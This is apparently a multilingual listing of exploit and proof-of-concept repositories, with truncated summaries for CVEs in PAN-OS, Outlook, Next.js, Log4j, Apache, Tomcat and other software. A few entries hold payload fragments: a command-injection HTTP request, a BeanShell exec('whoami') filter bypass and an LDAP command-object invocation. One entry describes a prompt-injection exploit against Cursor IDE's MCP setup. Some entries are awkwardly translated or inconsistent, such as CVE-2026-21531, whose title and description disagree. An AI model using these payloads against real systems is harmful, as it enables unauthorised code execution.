CVE-2024-0012_CVE-2024-9474_PoC

🚀 CVE-2024-0012 & CVE-2024-9474 Palo Alto PAN-OS ثغرة استغلال 🔐 🛡️ الوصف هذا النص البرمجي التجريبي PoC يستهدف الثغرات الأمنية في نظام Palo Alto PAN-OS، وتحديداً CVE-2024-0012 و CVE-2024-9474 ، من خلال أتمتة عملية الاستغلال، بما في ذلك تجاوز المصادقة، وإنشاء الحمولة، والتوصيل المجزأ، وتنفيذ الأوامر...

Moniker-Link-CVE-2024-21413

🛡️ Moniker Link CVE-2024-21413 Комната: Moniker Link CVE-2024-21413 — TryHackMe Статус: ✅ Завершено Дата: 30 мая 2025 г. 🎯 Цель Понять и реализовать эксплуатацию CVE-2024-21413 — уязвимости в Microsoft Outlook, которая обходит защищённое представление Protected View с помощью Moniker Link для краж...

POC2-CVE-2025-55182

React2Shell Ultimate — сканер CVE-2025-66478 Самый всеобъемлющий сканер уязвимости удалённого выполнения кода Next.js RSC root@kitploit: ╔════════════════════════════════════════════════════════════════════════╗ ║ ║ ║ | \ | || / || | | | | ║ ║ | | / / |/ | | / /\ | ' \ / \ | | ║ ║ | / | | | | /...

CVE-2025-54135

Ниже представлен полностью функциональный эксплойт для уязвимости CVE-2025-54135 в Cursor IDE, предназначенный для демонстрации атаки с инъекцией промптов, которая манипулирует конфигурацией Model Context Protocol MCP для достижения удалённого выполнения кода. Этот код предполагает, что у...

CVE-2026-2441

CSS في Google Chrome قبل تنفيذ التعليمات البرمجية عن بُعد CVE-2026-2441 نظرة عامة تم تحديد ثغرة أمنية بدرجة خطورة HIGH، مصنفة باسم CVE-2026-2441، ضمن فئة CWE-416، CWE-416، CVSS 8.8. سمحت ثغرة الاستخدام بعد التحرير Use after free في CSS في Google Chrome قبل الإصدار 145.0.7632.75 لمهاجم عن بُعد...

CVE-2024-29973

CVE-2024-29973 root@kitploit: GET /cmd,/simZysh/registermain/setCookie?c0=storageextcgi+CGIGetExtStoInfo+None+and+False+or+import"subprocess".checkoutput"id",+shell=True%23 HTTP/1.1 Host: xxxx User-Agent: Mozilla/5.0 X11; Linux x8664; rv:109.0 Gecko/20100101 Firefox/115.0 Accept: / Accept-Languag...

CVE-2025-55182-Exploit

CVE-2025-55182 – Exploit RCE des React Server Components ⚠️ Avertissement : Réservé aux tests de sécurité autorisés et à la recherche uniquement. Ne pas utiliser contre des systèmes sans autorisation explicite. Vue d'ensemble Il s'agit d'une version améliorée du script d'exploitation pour la...

PDFkit-CMD-Injection

PDFkit-CMD-Injection CVE-2022-25765 pdfkit 0.8.6 حقن أوامر. الحزمة pdfkit معرّضة لثغرة حقن الأوامر Command Injection حيث لا يتم تنقية عنوان URL بشكل صحيح. ملاحظة: تم إصلاح هذه المشكلة في الإصدار 0.8.7.2، ولكن تبيّن أن الإصلاح غير فعّال. إصدار الإصلاح المحدّث هو 0.8.7.2 إثبات المفهوم PoC ابدأ خادم...

CVE-2019-3396

CVE-2019-3396 Confluence Widget Connector 路径遍历漏洞 CVE-2019-3396 RCE 验证代码 root@kitploit: POST /rest/tinymce/1/macro/preview HTTP/1.1 Host: x.x.x.x Connection: close Accept-Encoding: gzip, deflate Accept: / User-Agent: Mozilla/5.0 X11; Linux x8664; rv:60.0 Gecko/20100101 Firefox/60.0 Content-Type:...

CVE-2026-21531

تجاوز ميزة أمنية في ASP.NET Core من مايكروسوفت CVE-2026-21531 🌟 الوصف ثغرة أمنية في Azure SDK تسهّل إلغاء تسلسل بيانات غير موثوقة، مما يتيح للمهاجمين غير المصرح لهم تنفيذ تعليمات برمجية عشوائية عبر الشبكة. ⚙️ التثبيت لإعداد أداة الاستغلال، اتبع الخطوات التالية: 1. قم بتنزيل المستودع: تنزيل --- 2...

CVE-2021-41773

Apache पाथ ट्रैवर्सल और RCE एक्सप्लॉइट CVE-2021-41773 और CVE-2021-42013 ये गंभीर पाथ ट्रैवर्सल भेद्यताएँ हैं जो Apache HTTP Server 2.4.49 और 2.4.50 को प्रभावित करती हैं। ये हमलावरों को निम्न की अनुमति देती हैं: वेब रूट के बाहर की फ़ाइलों तक पहुँच LFI Remote Code Execution RCE प्राप्त करना यदि CGI...

CVE-2024-39306

Description Ce script est un PoC pour CVE-2024-39306, où une RCE est possible en raison d'une injection SQL SQLi permettant à un utilisateur authentifié d'exécuter des commandes arbitraires sur un serveur exécutant ChurchCRM -p -b -c Exemple : python3 CVE-2024-39306.py -u FirstLast -p Password123...

CVE-2025-24813

شروط الاستغلال تمكين وظيفة الكتابة في DefaultServlet: يجب تكوين readonly=false في web.xml دعم طلبات PUT الجزئية: يدعم Tomcat التحميل المجزأ افتراضيًا تمكين استمرارية جلسة الملف: يجب تكوين PersistentManager و FileStore في context.xml وجود سلسلة استغلال لإلغاء التسلسل: يجب تضمين مكتبة ثغرة في مسار...

CVE-2025-27520

CVE-2025-27520 CVE-2025-27520的利用程序。BentoML最新版本（v1.4.2）中存在一个由不安全反序列化引起的远程代码执行（RCE）漏洞。它允许任何未经身份验证的用户在服务器上执行任意代码。该漏洞存在于serde.py中的一个不安全代码段。此漏洞已在1.4.3版本中修复。...

CVE-2020-1947

CVE-2020-1947 root@kitploit: usage: CVE-2020-1947.py -h -i IP -p PORT -T ACCESSTOKEN -poc POC python CVE-2020-1947.py -i 192.168.128.135 -p 8088 -T eyJ1c2VybmFtZSI6ImFk -poc ldap://127.0.0.1:1389/CommandObject...

CVE-2021-44228-Apache-Log4j-Rce

CVE-2021-44228（Apache Log4j 远程代码执行） 所有 log4j-core 版本 =2.0-beta9 且 =2.14.1 1.x 版本存在其他漏洞，建议您更新到最新版本。 与 Log4Shell CVE-2021-44228 相关的安全公告/通报 使用方法： 下载本项目，编译利用代码 blob/master/src/main/java/Exploit.java，并启动一个允许下载编译后二进制文件的 Web 服务器。 root@kitploit: git clone...

tinyfilemanager-2.4.3-exploit

CVE-2021-45010 Tiny File Manager-2.4.3 exploit Une vulnérabilité de traversée de chemin dans la fonctionnalité de téléversement de fichiers de tinyfilemanager.php de Tiny File Manager du projet Tiny File Manager = 2.4.6 permet à des attaquants distants disposant de comptes utilisateur valides de...

e-cology

Exécution de code à distance du composant BeanShell de l'OA e-cology de Weaver Windows Linux Remarque root@kitploit: 检测目标系统os.name（因为目标系统是windows的话，执行set等命令，需要手动敲cmd.exe /c set） 使用Unicode绕过exec过滤，部分站点 Payload root@kitploit: bsh.script=exec'whoami'; unicode bypass...

CVE-2018-19422-SubrionCMS-RCE

CVE-2018-19422-SubrionCMS-RCE SubrionCMS 4.2.1 Exécution de code à distance authentifiée /panel/uploads dans Subrion CMS 4.2.1 permet à des attaquants distants d'exécuter du code PHP arbitraire via un fichier .pht ou .phar, car le fichier .htaccess omet ceux-ci. Utilisation de l'exploit Commandes...

CVE-2020-35682

CVE-2020-35682 SD-91948: CVE-2020-35682: ثغرة التجاوز في المصادقة أثناء تسجيل الدخول عبر SAML في ServiceDesk Plus. كما هو موصوف من قبل ManageEngine. إذا كان تثبيت ServiceDesk Plus 11134 في الهدف يحتوي على تسجيل الدخول عبر SAML مفعّلاً وكانت لديك بيانات اعتماد لمستخدم ذي صلاحيات منخفضة، فيمكنك...